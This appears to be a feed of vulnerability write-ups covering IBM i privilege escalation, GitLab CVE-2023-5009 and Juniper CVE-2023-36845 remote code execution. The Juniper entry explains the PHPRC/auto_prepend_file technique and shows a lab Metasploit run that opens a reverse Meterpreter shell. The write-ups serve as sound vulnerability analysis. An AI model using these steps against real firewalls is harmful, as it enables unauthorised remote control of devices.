Activity Feed

Based on the published details the vulnerable program object executes with *OWNER privileges (similarly to how SUID executables work), but use the Library List (similar to the PATH environment variable) of the executing user, who can thus replace program dependencies to make their code execute in the context of a different user profile. This other user profile (QAUTPROF) has authority to impersonate QFAXMSF (also installed as part of the vulnerable software package), that has *ALLOBJ (“All Object” – similar to uid=0) special authority on the system. This is a local privilege escalation from any user profile (with command line access) to complete control over the system.

Based on the published vulnerability details authentication bypass is possible likely because the DDM service fails to terminate the session as an authentication error is detected, but proceeds to parse subsequent commands incoming from the connection. The commands sent by the attacking client can include instructions for command execution, making this an unauthenticated RCE.

On September 18, 2023, GitLab released an advisory for CVE-2023-5009, a vulnerability that affects GitLab Enterprise Edition (EE) from versions 13.12 and before 16.2.7, and also from versions 16.3 and before 16.3.4. Notably version 13.12 was released May 22, 2021, which means this vulnerability has been present in the code base for 2 years and 4 months. The open source commit that fixes the issue can be found here.

CVE-2023-5009 is described as a bypass of CVE-2023-3932 which was patched two months prior. Both issues allow an attacker, who is authenticated as a user on a GitLab EE server, to run pipelines under the context of another arbitrary user on the same GitLab instance. The impact of doing this would allow an attacker to access resources, such as private source code or other secrets, owned by a target user.

Pipelines allow GitLab to perform Continuous Integration (CI) and Continuous Delivery (CD). Pipelines define the work to perform and this work is then executed by Runners. A detailed walkthrough of how to exploit the original issue CVE-2023-3932 is available, and shows how an attacker can create a malicious self hosted runner that is capable of accessing private data from a target user.

Of note is how, according to the advisory, the new bypass CVE-2023-5009 requires two features in GitLab EE to be enabled, specifically:

• Security Policies
  
• Direct Transfers
  

“Security Policies” require an Ultimate edition license of GitLab EE and are enabled by default. They define how scans are performed when a pipeline job runs.

When enabled, the “Direct Transfers” feature allows a user to transfer ownership of a project to another user. When testing a vulnerable GitLab EE server version 16.3.3, it was noted that the “Direct Transfers” feature was disabled by default. An admin user must enable this feature for it to be available to other users. It is likely that this non default requirement will reduce the amount of impacted servers. In addition the attacker must have authenticated access to an account on a vulnerable server. While some GitLab instances allow new users to sign up (and by default this is allowed), this may not be possible in all cases when the GitLab admin has disabled new user signups.

Based on this, the attacker value for this vulnerability is high as it allows for the discovery of private data, however the exploitability is lower as not all vulnerable instances of GitLab EE will be configured to enable “Direct Transfers”, nor will an attacker have a valid user account on the server. This will limit the ability for attackers to exploit this vulnerability broadly, however targeted attacks are more likely.

The work done by watchTowr and later VulnCheck is super cool, and outlines different great ways to exploit the vulnerability (we based the Rapid7 Analysis on watchTowr’s). Neither of them mention something sorta-important: all the known exploits land you in a super-restrictive BSD jail with no meaningful OS access.

The application running in the jail has access to configure the system, so presumably there’s a path from the jail to the OS, but to my knowledge nobody has done much yet. In our analysis, we showed how you could steal an admin session then change the system’s password, but surely there are better avenues waiting to be found!

This might be the most impactful CVSSv3 5.3 rated vulnerability you’ve ever (or never) heard about. The vulnerability affects Juniper’s SRX Firewalls and EX Switches and allows unauthenticated attackers to change environment variables resulting in remote code execution as the nobody user. I’m going to briefly go over the evolution of the research of this vulnerability as I found it interesting.

CVE-2023-36844 + CVE-2023-36845

The Juniper advisory was first analyzed by Sonny at watchtowr and they wrote a great blog outlining how they used this vulnerability along with CVE-2023-36844 in order to obtain RCE. CVE-2023-36844 is an arbitrary file upload function that exploits the do_upload function within the affected device. So what Sonny did was:

1. Use CVE-2023-36844 to upload a PHP file containing our shellcode

2. Use CVE-2023-36844 again to upload a second file, containing an auto_prepend_file directive instructing the PHP preprocessor to execute the file we uploaded in step 1

3. Use bug CVE-2023-36845 to set the PHPRC variable to the file we uploaded in step 2.

Just CVE-2023-36845

Using the clever research published by Sonny, Jacob Baines from Vuln Check posted a blog outlining how RCE can be obtained solely using CVE-2023-36845.

The affected Juniper devices use Appweb web server and when Appweb invokes a CGI script it passes arguments and environment variables in order for the script to access the users’s HTTP request. The body of the HTTP request is passed using stdin. Jacob noted that every FreeBSD process has access to their stdin by opening /dev/fd/0. So by sending an HTTP request, an attacker is able to introduce a “file”, /dev/fd/0 to the system.

So if the attacker set’s PHPRC equal to /dev/fd/0 and then uses the PHP function auto_prepend_file which causes the provided file to be added using the require function, in combination with allow_url_include which allows the use of URL-aware fopen wrappers. The attacker can then set auto_prepend_file equal to data://<payload_goes_here> so that the payload is provided inline and gets executed without ever being written to disk. Very cool.

Try this at home

There’s a great metasploit module available for this that can be found here and can be run like so:

msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set rhosts 192.168.0.247
rhosts => 192.168.0.247
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > set lhost 192.168.0.77
lhost => 192.168.0.77
msf6 exploit(freebsd/http/junos_phprc_auto_prepend_file) > run

[*] Started reverse TCP handler on 192.168.0.77:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Environment variable manipulation succeeded indicating this target is vulnerable.
[*] Sending stage (39927 bytes) to 192.168.0.247
[*] Meterpreter session 4 opened (192.168.0.77:4444 -> 192.168.0.247:58995) at 2023-09-20 16:27:04 -0400

meterpreter > getuid
Server username: nobody
meterpreter > sysinfoi
[-] Unknown command: sysinfoi
meterpreter > sysinfo
Computer    : JUNOS
OS          : FreeBSD JUNOS JNPR-11.0-20200608.0016468_buil FreeBSD JNPR-11.0-20200608.0016468_builder_stable_11 #0 r356482+0016468ed6c(stable/11): Sun Jun  7 23:59:18 PDT 2020     builder@feyrith.juniper.net:/volume/build/junos/occam/llvm-5.0/sandbox-20200605/freebsd/
Meterpreter : php/freebsd
meterpreter >

References

https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
https://vulncheck.com/blog/juniper-cve-2023-36845